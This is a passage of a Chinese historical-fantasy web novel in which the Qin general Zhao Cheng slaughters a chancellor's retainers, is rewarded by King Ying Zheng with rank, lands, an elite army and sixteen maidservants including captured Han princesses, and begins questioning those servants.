“实力过于悬殊,此战当真无趣。”
顿弱看去,说是无趣,但君王的眉峰正挑起意气飞扬,嘴角也是盈满了笑意,哪有什么无趣的表情?
场中。
赵诚有些意外地抬起大戟,横挥半圈,甩去了血渍。
再看着那坑中尸骨无存,不由得有些奇怪,“这人罡气不俗,怎么身体如此脆弱,还以为能好好战上一场。”
他刚打算发挥全力一战,拿这难得的高手练练手,结果还没开始呢,人就没了。
这让他感觉一拳砸在了棉花上。
如若不然,他也不至于把前广场砸出一个大坑来。
他抹了把脸,身上的几处小伤口,此时竟然已经完全愈合。
回身走向其他门客时,诸多门客已经是惊惧不前。
既是死战,赵诚自然不会留任何一个活口。
继续屠戮。
大戟每一次挥舞,昌平君的脸颊就要抖上一抖,片刻之后,八百门客尽斩。
猩红血珠顺着戟杆在青铜砖面,溅起朵朵血花。
赵诚踏着血花持戟而归,浑身凛凛血煞之气,立于百官之前,大戟斜指昌平君,笑得骄烈。
“丞相养的这八百鼠辈,不过是戟尖试血的纸扎子!”
“某斩将夺旗、屠灭诸城时,甲胄吃的血都能灌满三亩方塘,今日杀这八百蝼蚁,竟连戟刃都未吃满,如何称得上是试锋?”
“丞相不若将自家卫队整甲送来,再来试吾一试,方能见这军功真伪,如何?”
这一声如何落下,周围大臣噤若寒蝉鸦雀无声。
算是切切实实的体会了一把,到底什么叫做血屠阎罗。
八百门客须臾尽斩,他竟嫌杀得不够,要把相府的卫队都骗来杀了!
谁会上这个当?
这个档口,就算是个傻子,也知道卫队送来只有死路一条,都要伏诛殿前,没有一人能够活着离开!
可昌平君现在是真下不来台,大王也不发话,只是看着。
这些追随昌平君的楚系外戚大臣,那也是一句话也不敢多说,这种事情,他们就算是敢接,那也接不过去。
众人着急地看着昌平君与那煞星对视,一声也不敢吱。
昌平君迎着赵诚目光,对方那刚刚杀完人的煞气之烈,让他心头直跳,但此时却又不能避开对方锋芒,不然颜面何存?
可现在就算能够坚持对视,还有一个巨大问题被抛了过来。
他要试锋,赵诚试了,还把人都杀光了。
但如今赵诚倒反天罡。
反而觉得试锋不够,主动要求再试,这如何应对?
这就像是把他当众架在火上烤。
上去那就是掉肉之痛,下去就是颜面无存,不上不下就火烧屁股。
端的是难受至极。
他看向嬴政,嬴政却好似没有听见一般,静静看着一旁。
昌平君一咬牙,“哼,八百门客不是赵将军一合之敌,已证不世之锋,军功自然为真,不需要再试锋了。”
“哦?”赵诚笑道,"丞相说试锋就试锋,说不试就不试,这军功真假,原是丞相一言而决?"
“若是如此,我大秦锐士在前线拼命杀敌,却都要看丞相的脸色才能获取军功。假以时日,我大秦军功贵爵,怕不是都要姓楚?”
此诛心之言响于百官之前,有如石破天惊,一时之间,群臣震撼,莫不噤言。
“你……”昌平君脸色一青,这人怎么不依不饶?
这话是能说的吗?
他惊惶的看向嬴政。
却发现嬴政此时饶有兴趣地看着赵诚。
此时的嬴政,好似看到了年幼时的赵诚在庭院之中,叉腰舌战群妇!
又好似看到了赵诚独战群童,被那孩子父亲呵斥之后,提刀夜入其家,以刀抵着喉咙逼其认错。
他知道,这孩子今日并非是恃功而骄。
他是一向如此锋芒毕露,仇不过夜……
不过再杀相府一部甲士就不必了,相府的甲士,那也是大秦的好儿郎,不能死在自家重锋之下。
不过昌平君此举,确实是把手伸的太长了,只死八百门客,不足以惩罚。
于是嬴政开口道,“好了,不必再以相府属地私兵试锋,都是我大秦儿郎,可以死于战场,不可死于殿前。”
“不过,相国此举确实不妥。”
“赵诚乃吾大秦之重锋,于战场之上以命搏出战功赫赫,凯旋回师之际,却要受到质疑,难免让将士们寒心。”
“若是此举成为常态,日后将士们用命拼杀,难道都要由丞相试之才能获取军功?”
“相国也该给赵诚,给将士们一个交代。”
昌平君叹息行礼,“臣……”
嬴政轻描淡写地道,“这样吧,寡人来定,昌平君封地剩余粮赋上缴中央,由秦军屯田都尉直接征收,轻点后赐予赵诚一部,以彰奇勋。”
昌平君浑身一震,嬴政却还没说完。
“属地私兵划出一半,常卒归入郡兵,锐士归属赵诚麾下。”
昌平君瞪大了眼睛。
不是,这借题发挥未免太明显了吧大王!
这两刀也太狠了!
但他却无法反驳一句。
此事本就不妥,若是杀了赵诚还好,强行证军功为假,还去了军方一个骄阳新贵!
但没杀掉,就是他不妥。
再加上被赵诚抓住了尾巴,于百官面前,架在火上诛心,事态的严重性一瞬间上升好几个档次。
嬴政借此削弱他的势力,时机力度都是恰到好处,他根本无从反抗。
实际上,这已经不是嬴政第一次削弱以昌平君为首的楚系外戚势力了。
建立符玺制度,收回重铸昌平君曾持有的南郡虎符,铭文从楚王熊启改为秦王政,收回了其调兵职权。
又在七年之前,就嫪毐之乱清洗外戚同盟。
当时赵系外戚与楚系权力博弈,嬴政刻意纵容嫪毐与吕不韦内斗,待双方火并时,以车裂嫪毐、夷三族为由,顺藤摸瓜查处楚系门客。
昌平君虽未直接参与,但门下三百方士被指私炼汞丹诅咒王驾,遭廷尉府籍没。
其中二十余楚地巫祝方士代表,被处以镬烹,削弱了其智囊层。
由此可见,此番借机杀尽相府门客,也是嬴政的目的之一。
楚系外戚善养门客,门客之中多方士,擅长借助巫祝、阴阳之术干预朝政。
宣太后执政时期就曾以龟卜决定国策,甚至在咸阳章台宫设有东皇太一殿,每逢军政大事必以楚地龟卜、活人血祭决疑,形成巫权干预王权的传统。
而到了如今这个时期,楚系外戚依然以豢养门客,施太一祭仪等巫祝阴阳之术来维系影响力。
他们这些人,也是多年后焚书坑儒的主要针对对象。
焚书坑儒可以说是断了楚系外戚影响力的根,是削楚三部曲的最后一部。
焚烧典籍,焚的大多是以《楚辞》《太一祝辞》等涉及东皇太一信仰的典籍,使楚系方士失去理论依据。
坑杀方士之中,大半都是楚地方士,一些人更是昌平君的门客,是最擅长太一祭仪的巫祝方士。
如主持祭祀的楚巫领袖,南郢巫长屈景,以此断其传承脉络。
当然,焚书坑儒这等从信仰根本上灭根楚系影响力的事情,现在还不到时候。
但昌平君主动送上来,嬴政也乐得见到赵诚帮他砍了。
而后赵诚更是送上神助攻,把昌平君架了起来。
他再不下刀,那可是白搭了赵诚送上来的良机!
于是咔咔两刀下去。
狠狠砍了楚系经济和军事力量。
此时心中那是说不出的舒爽,看向赵诚的眼神,那也是透着阵阵满意。
“此事就这样定了,试锋也试完了,既然军功为真,那就论功封爵!”
昌平君面如死灰,赔了夫人又折兵,心都在滴血,却只能应是。
眼睁睁的看着赵诚意气风发的去论功封爵了。
第73章 秦王亲赐美侍女,韩公主竟在其中?
章台宫前殿。
赵诚在礼官的指引下,先是稽首拜秦王,而后顿首礼再拜象征社稷的秦襄公石鼓,最后空首礼拜太庙宗室牌位。
每拜皆由宗正寺卿唱赞:“爵尊德配,兵强民服”。
“分符!”
秦王以天子剑挑开青铜匣封泥,双手托符齐眉。
这大良造爵符金质嵌玉,长七寸二分,宽二寸五分,取秦制七数,象征军权。
符身以赤金铸造,正面阴刻双线虎纹,头向王廷,尾指受封者。
虎爪交握处铸【大良造】三字鸟虫篆,尾端凿刻受封者姓名【赵诚】与授封年份【秦王政十六年】。
背面满布甲胄连云纹,象征披坚执锐的军功荣耀。
符体中分,左符由赵诚执握,右符会当场封存于王室金匮,封口钤符玺令印朱砂泥。
赵诚向前单膝跪地,以捧圭式接符,掌心向上,虎口成方,象征承天授命。
接符瞬间,殿中三十六名锐士齐击金铎,声震殿瓦。
“授印!”
赐印绶,这印绶与爵符不同,为随身之符。
金龟纽印,取守土如龟之意,印文为「大良造赵诚之印」配赤黑色绶带,绶带末端缀青铜小戈,走动时叮当作响,警示庶民回避。
嬴政取印绶绕过赵诚颈后,从左肩斜挎至右腰。
赵诚口念“印绶在身,王法在侧,敢有违逆,符碎人亡”。
“验舆!”
治粟内史捧起青铜托盘而来,上置竹简租税券。
御史大夫当庭宣读:“封大良造赵诚食邑颍川郡三千户,兼领博山泽渔利!”
颍川郡就是赵诚率八千轻骑打下来的地方,如今被设置为秦国颍川郡,此处封邑暗含镇抚韩遗民的军事考量。
当然,镇是确实镇了,抚不抚那就不知道了。
“食邑之地每户年纳粟三石、布二匹,其中六成上缴内史府,四成归大良造赵诚。”
“食邑内可设税官三人,由大良造自选,需报治粟内史备案,可截留过境商队十分之一货物充作军资。”
“另有庶子名籍简,赐庶子八百人,其中私卒三百,可充亲卫,耕卒五百,用于屯田耕作。
庶子户籍从编户齐民中划出,直属赵诚麾下,不服国家徭役,唯听封主调遣。”
在这宣读之中。
赵诚跟随礼官指引,当场用佩剑挑开租税券封绳,拿出竹简制的租税券。
而后以舌尖舔尝竹简边缘,象征尝民之苦。
再以符身棱角在图记上压出凹痕,象征划土为界,守土如符。
“赐轩车!”
太仆赵高署四名厩吏牵出驷马轩车。
前方四匹河曲战马都是肩高五尺,毛色纯黑。
鼻端更有白星破阵痣,马具为青铜错银辔头,额心嵌菱形玉饰,马鞅系八片青铜甲叶,象征八面威风。
车轼雕戈矛交击纹,车盖为玄色锦缎,边缘绣十二道红色齿纹,对应十二时辰,寓意王命无时不达。
车右立大良造牙旗,旗杆长三丈,以熊皮包裹,旗面绘黑色战虎踏碎韩国冕旒图案,象征赵诚以灭韩封此爵!
“呈甲第!”
又有将作少府呈上甲第图纸,这图纸缣帛绘制,长宽各三尺,边饰云雷纹框。
少府当众宣读宅邸规制:
“甲第选于咸阳渭阳里,占地九亩,正门开三门洞,中门宽一丈二尺供轩车通行,侧门各宽六尺,供宾客与庶子出入”
“门前可立一对青铜棨戟架,插十二支殳,示武而不杀!”
“正堂面阔七间,类七星列曜,进深五架,合五行相生……”
“宅邸东侧设露天演武场,立试剑石……”
甲第是早就建好的,距离宫殿不远,是高级官邸的核心区域,在赵诚回来之前,就已经改建完毕。
赵诚现在去就能住。
不过他也不甚在意,自己就一个人,住得怎样也不能如何?
在军中一直住在简陋营帐之中,尚且住得舒服。
好似是知道这一点,却听将作少府又读道,“陛下为赏奇勋,特赐贴身美人侍女十六人掌内宅事务,负责贴身照料、庖厨、洒扫、女红。”
“另有门房四人,仓廪三人,马厩四人,书吏一人,杂役八人……”
还赐美人儿?
赵诚微微愕然。
好,这下热闹了。
大臣们也是神色古怪,赐美人侍女,这少年神将血气方刚,大王这是投其所好?
万一食髓知味,到时候每日耽于美色,岂不可惜?
顿弱却是神色一凝,他心知嬴政何意。
这是考量!
英雄难过美人关。
赵诚是神武无比不错,但他也是少年,而色是少年第一关。
大王这是要以美色来验看赵诚性情,毕竟赵诚生平之中,其余都很好。
但实在是没有遇到过什么美人,也就不会生出什么情愫,自然看不出面对美色如何。
想着,顿弱心中越发坚决,这大腿他抱定了!
只是在此之前,赵诚不能跌在这一关上。
只要不太过分,也不会有什么影响……
应该吧……
而下方的将士们则是笑了起来,一个个眉飞色舞地看着赵诚。
“陛下赐了将军美人!”
“哈,还有这等好事,不知道会不会给我们也赐上几个?”
“别想了,你要是有将军那份神武,才有这个可能。”
众将士羡慕,却也与有荣焉。
此时众仆被带了上来,安排在赐予赵诚的轩车一侧,等赐爵之后,会随赵诚回去宅邸。
这些外宅的仆从,皆着青布短衣,衣领绣大良造徽记。
而那十六美侍女则是衣着鲜丽,更衬得面目娇媚可人儿。
赵诚打眼一看,顿时无语。
其中竟有那两名韩国公主和两名王公之女!
除此之外,一些貌美拔群的贵族千金也在其中。
之前韩王和那些贵族主动进献的时候,被赵诚杀了几个吓退,没想到如今竟然又被大王塞了回来。
这下好了,大王亲赐,杀也杀不得了。
也罢,总比赐下一些五大三粗的悍妇顺眼多了。
赵诚只是志不在此,又不是不近女色。
好看总比难看强。
“寡人拜你为上将军,你可想好领哪一军?”
赵诚按剑笑道,“臣自然要领大秦最锋锐之军,不贵多,但贵精!”
嬴政定定看着他,笑意盎然。
“寡人听闻,你在韩境攻伐之时,所过之处,韩人无不闻风丧胆,惊呼血屠阎罗。”
“既如此,便建立血衣锐士一军,将三千铁鹰锐士并入其中,其余名额,你亲自选拔于三军,练兵作战,由你一言而决。”
“寡人只要求,此军更胜铁鹰锐士军,如何?”
铁鹰锐士,起于商鞅变法之后,这一军的存在,相当于后世中的王牌特种兵。
其中每个人都是经过千里挑一的残酷选拔。
需要精通剑术、长戈、弓弩等多种兵器。
剑术需能在十招内击败普通锐士。
使用长戈时,需展现出极强的力量与技巧,能轻易破盾、钩杀。
而弓弩考核更为严格,需在七十步外连续三箭射中靶心。
参选者还需具备出色的战术思维,能在模拟战中迅速分析局势,制定合理战术,协同作战。
如此,才能进入铁鹰锐士。
所以,在其中随便找出一个人来,就能在体能,武艺,战术素养等全方位碾压普通锐士。
甚至能够轻松以一当十。
而且铁鹰锐士擅长多种战术,尤其以奇袭、破阵战术著称。
在奇袭作战中,他们凭借出色的身体素质和隐蔽能力,可长途奔袭敌方重要目标,如粮草辎重营、指挥中枢等。
此外,铁鹰锐士还具备极强的独立作战能力。
即使陷入重围,也能各自为战,相互支援,凭借精湛的武艺和顽强的意志,杀出一条血路。
这一军自诞生以来,在秦统一六国的战争中屡立奇功,辉煌战绩至今仍然在军中传唱。
唯一的缺憾就是人数始终多不起来,始终维持在两三千左右。
毕竟标准太高了,就算是突骑营的精锐,也无法与之相比。
而正巧,赵诚的要求是贵精不贵多,完美符合这个条件。
但上将军之职,又不能只统领三千人,不然岂不是成了虚职?
干脆,嬴政直接为赵诚开设血衣营,将铁鹰锐士并入其中,再让赵诚自己去选拔,按照他自己的标准去练兵。
最终搞出多少来,就让他领多少。
反正都是自己家的兵。
赵诚大为满意,行礼肃拜,“此策正合臣意,必竭股肱之力!”
“臣有问,陛下何日灭赵耶?”
嬴政露出欣慰笑容来,突然抬手,状似无意地拍了拍赵诚的肩。
奈何赵诚实在高大,这动作也没法太自然。
不过他一拍就回了手。
嬴政负手立于咸阳宫阙,玄色冕旒随着北风轻颤,远眺赵国方向的目光似要穿透层云。
诸多回忆涌上心头,再看赵诚立于身前,又是自信勃发。
“韩国灭而腾东出之地,汝可待时而动,待时机一到,孤自会命你你率血衣锐士饮马漳水,将邯郸城垣踏作齑粉!”
赵诚自然知道嬴政所想为何,“臣已迫不及待,不如明日起兵攻赵如何?”
嬴政一惊,看了看赵诚,这小子怎么比寡人还急?
竟还催着自己去打仗的?
你不是才封了大良造,真就不打算歇息一阵,享受享受生活?
他哭笑不得,指尖点了点赵诚,“真不愧韩人称你血屠阎罗,刚刚灭韩,就想屠赵……”
“莫急,莫急。”
说着,他大手一挥,“敬太庙,饮至礼!”
将赵诚的捷报、俘获的王玺等物呈于太庙之前,以高宗室先祖大捷。
而后殿前奏响《秦风?无衣》军乐,献俘于阶下。
嬴政赐“卮酒”于赵诚。
群臣按爵级赐胙肉之际,嬴政下令封赏六千轻骑。
除按斩级赐爵外,另赐锐士田宅,比普通封赏,还多三倍有余!
众将士欢呼雀跃时,赵诚命冯全递上一份名单。
这名单以布为纸,敌血为墨。
其上记录的每个人,都是在战场拼命随赵诚冲杀的英勇同袍。
他们拥护着赵诚一路冲杀,会因为敌军围杀赵诚而狂怒,也会因为赵诚破城斩将而欢呼。
会在没日没夜奔袭时不发一言紧紧相随,也会在打了胜仗之后提着胆子和他们的将军开玩笑。
在最艰苦,一整天都吃不上一顿军粮时,他们不叫苦,不掉队。
在最危险,破城冲杀的时候,他们一往无前,绝不后退。
每一个人的面容,赵诚都是历历在目。
闭上眼睛,许多人壮烈离去的画面也会涌上心头。
赵诚破军屠城之时,心中毫无波动。
但每每想到这些画面,却心绪难言。
他睁开眼睛,肃穆面容,深深拜礼于嬴政。
“陛下,臣尚有一请,乞听末议。”
嬴政自始至终都没见过赵诚如此肃穆认真,不由好奇的看了看那染血的布。
而众将士看到那血布,都是心神一颤。
许多刀劈在骨头上都不吭一声的硬汉,看着他们的将军深拜君前,硬是红了眼眶……
第74章 血衣军:血染吾衣,与子同归。
“何事?说来。”
嬴政看着赵诚手中的染血麻布,有些好奇。
赵诚将染血麻布呈递上去,“这名单上面的人,都是随我作战,死于杀敌攻城的将士。”
“臣恳请将他们的遗孀家眷都迁至我的食邑之地,由臣亲自派人看护,免得他们受人欺负。”
嬴政面色微微柔和了一些,“秦国律法有所规定,阵前战死者,遗属得赐田宅钱帛,划户籍为军属,免除赋税,你不必担心他们的处境。”
赵诚依然说道,“陛下,这些将士随臣征战,臣曾答应过他们,会为他们的身后事负责。”
“臣,自小无父,深知孤儿寡母的凄楚,他们随臣征战而死,臣自当一力护之。”
此话一出,嬴政沉默了。
他静静看着赵诚,沉默良久。
“也不是什么大事,既然本就要赐田宅于遗属,就划到颍川郡去好了,你已经是大良造,可在封地开府,管理此事。”
“李斯。”
“臣在。”
“协理赵诚,将名单上面的遗属,迁至他的食邑之地,由他安置。”
嬴政说着,又想了想,“接下来血衣军的将士若是战死,都按此制办理。”
赵诚眼睛一亮,再次肃拜,“臣谢陛下!”
嬴政摆了摆手,没有说话,转身离去了,背影看起来有些沉肃。
这孩子,是个有担当的。
他自己从小没有父亲照料,如今一将功成,却不忘撑开羽翼,护佑麾下将士们的遗属。
他刚走出两步,后方却爆发将士们慷慨请命的声音。
“将军,我冯全请入血衣军!”
“将军,封若请入血衣军!”
“王二狗,请入血衣军!”
“……请入血衣军!”
“……”
《秦风?无衣》的军乐在回荡着,与将士们请命的声音夹杂在一起,越发壮烈激昂。
“岂曰无衣?与子同袍。”
有将士含泪合唱着,唱的却是:“血染吾衣,与子同归。”
归来的是以敌血染就得姓名啊……
赵诚默默地看着下方激昂的将士们,而后激昂那份血写的名单收进了怀中。
自今日起,血衣军的血衣二字,不止象征着染尽敌血,使敌人闻风丧胆的杀伐强军。
同样也象征着,血衣为凭,他们的将军会亲自安置战死者的身后事,一力护佑其遗属家眷。
有此为凭,大可竭力死战!
最后,则是象征着,血衣军的每一名同袍,都会背负战死同袍的血衣继续前行。
而在此之后,血衣军更是形成了一个传统——
每一名血衣锐士的里衣胸口处,都会以血红的丝线,绣着自己的姓名。
这个鲜红的姓名,是他们的死志。
也将会是他们的将军,护佑他们遗属家眷的凭证。
亦是所有血衣军对身后事安妥的笃定。
有这个血色姓名在,他们将无惧生死,亡命拼杀。
同时,这个血色姓名,也将被血衣军保留下来。
此后每一名新入血衣军的锐士,都将手抚血衣旗帜宣誓——
“着此血衣,承汝未竟之戈!”
当然,这都是后话,现在这六千轻骑,虽然说跟着赵诚经历了多场血战,都已经是精锐中的精锐,但是其中许多人还是达不到铁鹰锐士的标准。
既然答应了嬴政,血衣军会比铁鹰锐士更强,那就不可能有所徇私。
所以……
“想入血衣军,就给本将死命训练,通过本将的考核,才有资格进入血衣军!”
一个个将士咬着牙,心中暗定,就算是练死,也要进入血衣军,继续追随将军!
而赵诚则是想着怎么推演一部适合血衣军练习的炼体功法。
基础炼体功太基础了,就算是他有寿命推演的情况下,还不知道花费了几万年的时间,才修炼至大成。
想要以炼体之法练兵,功法就必须更简单,也更有效。
但赵诚现在只会一部基础炼体功,以此为蓝本进行推演,就算有悟性丹的帮助,推演出来的东西还是会非常局限。
或许可以参考柴烈的家传武学、封不救的经络学说、聂樊的炼体之术,掺杂基础炼体功之中一些更有效果的东西,来推演出一部炼体功法来。
再让封不救搞一些能够加强体魄的药方来。
这样配合练兵,足以搞出一部人人如龙的横练军队来。
如此想着,赵诚又看了看自己系统之中的剩余寿命。
只剩下八万多年了。
推演一部简单的炼体功法,应该是够了吧?
饮至礼之后,繁琐的凯旋仪式终于算是结束了。
六千轻骑归去城外大营,而赵诚则是被嬴政命令回府休整几日,而后再开始选拔血衣军。
赵诚无奈,只得领命,他乘着轩车,带着嬴政封赏的一系列东西和人,向着城中给自己改建好的宅子而去。
一路上浩浩荡荡,庶民回避。
到了宅邸之前,下了轩车,抬眼一看,赵诚才知道自己这宅子规格如何豪华。
这驷马轩车已是八面威风,但是在宅子大门之前,仍显得局促了一些。
轩车入宅,进了正堂。
只见栋梁高擎,榫卯处嵌青铜兽面纹加固件,堂中立柱绘有八日破韩的壁画,其上一名雄武大将挥戟横扫千军,短的是凛凛霸气,栩栩如生。
地面上,更是铺满蓝田墨玉砖,砖缝好似有银水浇灌,行走之间隐见亮芒。
出了正堂,到东侧,则是有一个占地颇大的露天演武场,中央立有一块巨大的试剑石,这试剑石好似是从天下名都宛城的城墙上面,扒下来的那块镇城石,上面甚至还有赵诚的戟印。
在赵诚逛宅子的时候。
这宅邸分配过来的仆人则是开始忙碌起来,内外仆人共计九十六人,涉及内宅、外院、武备、杂役四大体系。
这些人各个都是精明强干的好手。
一入手,就将宅邸之内打理得井井有条。
赵诚逛到寝居楼阁中,十六名美侍都等在寝居之外。
随着赵诚踏入寝居,十六少女才紧随赵诚身后,亦步亦趋进入寝居。
赵诚这寝居有楼阁两层,二层设爵符阁,专置左符与策命文书,以铁柜封存,钥匙由赵诚贴身佩戴。
楼下又分前堂,侧寝、燕寝,书房等,宽敞清雅。
燕寝是赵诚主要休息的地方,床榻为蜀地楠木,床栏雕百兽朝虎纹,床前设青铜熏炉,昼夜焚烧辟兵香。
赵诚转了一圈,觉得风格还算满意,便回到前堂,坐在椅子上。
身前有十六名美侍女分立两侧,各个都是花容月貌,身段玲珑。
有亭亭玉立,有婀娜多姿,有千娇百媚,亦有秀丽端庄。
或水灵秀气,或明艳动人,或温婉如玉,亦或国色天姿。
端的是仪态万千,各有千秋。
赵诚想着,既然是陛下赐的侍女,总不能弃之不用,白养着她们岂不是倒反天罡?
于是准备挨个问上一问,人尽其用。
他观察起来,这十六名美侍女之中,左侧八名是故韩贵女,其中两名更是公主,各个身上都是有着不俗贵气,即使现在有心遮掩,这股贵气也是遮掩不掉的。
而右侧八名则是出自宫中最优等的侍人。
侍人属贵籍,远非罪官家眷充入的官婢可比,两者之间,还要隔着“宫人”这一个等级。
宫人尚且是从郡县征选的年十三以上、色美行端女子中选拔而出,侍人则更是从宫人之中选拔出的最优等。
这侍人父母需具"士伍"以上户籍,经县廷保举、少府验身,过体貌、齿龄、德行三试,方得入宫。
而后又经过永巷署、尚乐局、尚寝局等官署机构,经尚衣、尚食、尚冠、尚席、尚浴、尚计等六尚专项培训,才能成为侍人。
而秦王赐这八名美侍,又是侍人之中最顶尖的。
无论是品貌气质,行立仪态,那都是无可挑剔。
打眼一看,那就是专业人士。
赵诚心中暗暗点头,决定先问专业的。
他目光刚往这边一转,右侧一列之中,一名灵眸善睐的女孩就越众而出,巧笑嫣然道:
“上将军,妾奴名青鸾,署令称妾奴善察言观色,妾奴才有幸能来为贴身处理琐事,若是上将军感到烦闷,可随时唤青鸾来叙叙话。”
她说话间眼尾微挑,唇角梨涡浅现如衔春露。
在她身后,一名肌肤胜雪的少女紧接着上前一步行礼道,“上将军,妾奴名朝雪,署令称妾奴清若寒潭,净如朝雪,负责随侍将军晨起盥沐,内务洒扫。”
这女子肤若凝脂,素面无瑕,称为朝雪,负责盥沐倒是很是适宜。
在其之后,一直静如沉水的安然少女上前,她目色清透如潭底寒玉,裙裾间隐有淡墨书香,声音沉静。
“上将军,妾奴素檀,署令称妾奴静如沉水,语迟心慧,善为将军整理案牍,研磨添香。”
又有灵巧动人少女上前,“上将军,妾奴纫秋,署令称妾奴纤指穿针,绣若天成,善制秦绣,女红。”
说着,纫秋素手奉上一张方帕,方帕上绣有秋露凝珠图,露水缀于叶脉间,好似风吹可动,精细至极。
另一秀色可餐少女上前道,“上将军,妾奴炊玉,署令称妾奴鼎镬生香,调和阴阳,妾奴精于秦宫膳食,能以七鼎烹五侯鲭,将军想吃什么,随时告知妾奴,妾奴都能做。”
清雅沉静的少女道,“上将军,妾奴清商,署令称妾奴七弦传意,声动梁尘,善鼓秦筝。”
华如桃李,面如芙蓉的少女道,“上将军,妾奴莳薇,署令称妾奴艺植佳木,腕底生春,妾奴擅养珍奇草木,能令冬日梅枝著花、夏月兰草结露,所植蔷薇可开三色,花瓣能入药。”
更有婀娜蹁跹,窈窕曼妙的少女温软道,“上将军,妾奴流萤,署令称妾奴柔婉似萤,轻盈若风,臣妾善舞,可随清商奏乐为将军起舞。”
她们每每出列一人介绍自己,那右侧八名故韩贵女的脸色就忐忑一分。
这太全面了,留给她们做的事情不多了啊。
就剩下那么寥寥几件事情,眼前这八名美侍或许还会兼任了。
这如何是好?
第75章 张良之姐,相女断玉,当真善权谋!
赵诚也有些惊叹于他们的全面。
在山野之间种地的时候,赵诚曾常常感慨,这种古代的日子,活得长又有什么意思?
现在才发现,原来问题不是出自古代上,而是出自地位上。
有这种品貌俱佳,又精通各种技艺的美侍在,那些王室贵族就算一整年闲置在家中,也不会觉得厌烦。
早上起来就有美女帮着洗漱,整理衣物,穿戴整齐。
接着就有人换着花样端上美食,站在一旁秀色可餐给你增加胃口,然后就是接着奏乐接着舞。
无聊了,有心思玲珑地陪着聊天,做事的时候有红袖添香兼助手。
还有顶级绣女给你做各种艺术品,或者将艺术品绣到衣服上,缝制各种各样的衣服给你穿。
赵诚看着这八名少女,不由得挠了挠头。
到得今天,才知道之前过的那是什么苦日子。
贵族的生活都这么精彩吗?
再看向另一侧,八名故韩贵女明显感受到了压力,神色各异。
其中两名公主一大一小,赵诚是认得的。
这大的十六七岁,柳眉凤眸,睫如蝶翼,削肩细腰,指节粉白。
其肤色雪缎般玉白,两颊泛着羞愧局促的嫣红,眉骨与鼻梁处有近乎透明的光泽,似被月光浸透过的琉璃。
如今穿月白色交领深衣,衣缘绣着极细银纹,领口挂着一枚蓝田玉坠,头发松松挽成“望仙髻”,插一支竹节状白玉簪,余下的发丝如绢丝般垂在背后。
看起来柔弱易碎,却是国色天姿。
她极少与赵诚对视,每每鼓起勇气想去看他一眼,都只勉强抬眼看到赵诚的胸口,就不敢再继续,仓皇低下眸子去。
赵诚问大公主道,“叫什么?又会些什么?”
大公主听到赵诚声音心头一颤,作为王室公主,从前都是别人侍奉她,她哪里会什么侍奉人的技能。
但要是什么都不会,以这屠子的性格,怕是要把她砍了。
心念急转间,她弱弱说道,“回将军,我……妾会奏筝和书画。”
那一个奴字,如何也说不出口,令她脸色愈发红润。
青鸾大眼睛瞟了赵诚一眼,便嫣然笑道,“姐姐,没有规矩要受罚的哦。”
“按照秦律,不尊主子,轻则鞭挞三十,重则杖毙!”
大公主身体轻轻一颤,没有想到后果这么严重,“妾奴,雪棠,善……筝和书画,女红也会一些……”
赵诚点了点头,不置可否。
他看向小公主。
小的不过十四五岁,不过却比韩雪棠看着灵动一些,胆子也要大一些,虽说也很畏惧,但是从刚才开始就总是悄然观察赵诚。
她皮肤也很白皙,却是一种健康的粉白,圆杏眼,睫毛短而翘,眉心点缀着朱砂点的菱形花钿,体态丰盈,腰肢柔软,看着赵诚的眼神有些像是刚出生的小鹿,胆子虽大却透着股小心。
穿的是鹅黄色交领襦裙,头发梳成双螺髻,髻上插着鎏金步摇,看着倒是活泼很多。
见赵诚望来,小公主语出惊人,娇脆道,“我叫韩灼华,既是妾奴,便给将军暖床如何?”
她拍了拍自己的胸口,“父王总说我是小火炉,最冷的天我也不怕,有我暖床,用不了一炷香被子里就能暖和起来!”
大公主脸色大变,“你住嘴!”
她第一次抬起头来去看赵诚,“将军,她……她会跳舞。”
赵诚哭笑不得,我还用你暖床?
真是……
不过他也看出来了,这小丫头天真无邪,说暖床就真的只是暖床的意思。
国仇家恨,倒也不牵连到小孩子。
他摆了摆手,“好吧,就命你暖床。”
大公主脸色大变,变得更加苍白,“将军,她还小……”
她咬着嘴唇道,“妾奴愿意替她为将军暖……床。”
此话一出,韩灼华不可思议地看着她,好似她抢了自己的活一般。
赵诚无语地摇了摇头,“你自己都未必暖和,还暖床?”
韩雪棠愕然,不是,暖床还必须暖和?
等等,这家伙说的是真暖床?
想到此处,她脸色大红,退到后边,再不多言。
赵诚再向后看去,那是丞相之女,生得千娇百媚,玉致玲珑,一双丹凤眼摄人心魄。
骨相之中,更好似有刀工雕琢的贵气,眉峰如青铜剑开刃,眉尾上挑时自带三分压迫感,却在眉腰处稍作弧弯,添了柔媚的转折。
眼尾压着金粉,笑时如鎏金熔蜡流淌,唇色绛红,色泽如凝血却泛着花香,唇形饱满,下唇中央有颗浅褐色痣,说话时随唇瓣开合若隐若现。
肩宽腰细,胸臀饱满却不显臃肿,腰肢紧束时可盈握,行走时腰背挺直如青铜鼎柱,裙摆扫过地面的弧度优美。
肌肤蜜色中透着玉润,好似吹弹可破。
却见她迎风摆柳般上前一步,如玉素手搭在腰间,丹凤眼含笑直视赵诚。
“妾奴断玉……”随着话音,她竟突然一拉腰间缎带,那黛紫锦袍竟顺着惊人弧线丝滑垂落。
美憾凡尘的玉体轻摇,来到赵诚身前,伏身行礼之间更是惊心动魄,“善权谋之术,曾于韩境,设有情报酒楼十八座,尽掌韩境上下诸事,愿为将军驱使,但请将军尽用妾奴。”
赵诚看着眼前弯腰俯身深深伏拜的少女,眼中似有波涛汹涌。
他不知此女原名为何,但她绝不叫断玉,这是她在此时此刻给她自己起的名字。
此女抛弃从前适应处境之快,让赵诚都有些不可思议。
气血上涌之际,赵诚以元气压下。
俯视着断玉,赵诚心念转动。
好像确实是个可用之人,不过还需考察。
然而断玉长跪不起,继续说道,“妾奴辅佐相父多年,心中一清二楚,故韩亡国是早晚的事!”
“只是一来受限于相父,二来离开故韩妾奴一介女子也无处可去,得不到什么重用。”
“后来断玉初闻将军之事,便惊为天人,心知想要成就一番大业,便势必要追随将军左右。”
“故而就算故韩不灭,妾奴也将弃其而去。”
“惟愿这一身份,不要让将军心生芥蒂。”
气血再次上涌,赵诚又以元气压下。
“你父亲是张平?”
断玉点头,“曾是。”
赵诚挑了挑眉,又问道,“张良是你弟弟?”
断玉一愣,随即点头,“是,他亦有些才智,在将军入境之时,便离开了韩境,周游诸国去了,至今不知在何处。”
“若是将军有意,妾奴愿意联络他,让他进入将军府上做个门客。”
张良他姐?
赵诚摸了摸下巴,思索之际,又是气血上涌,再以真元压下。
唉,当真是善权谋,上来就是美人计,扰我心智。
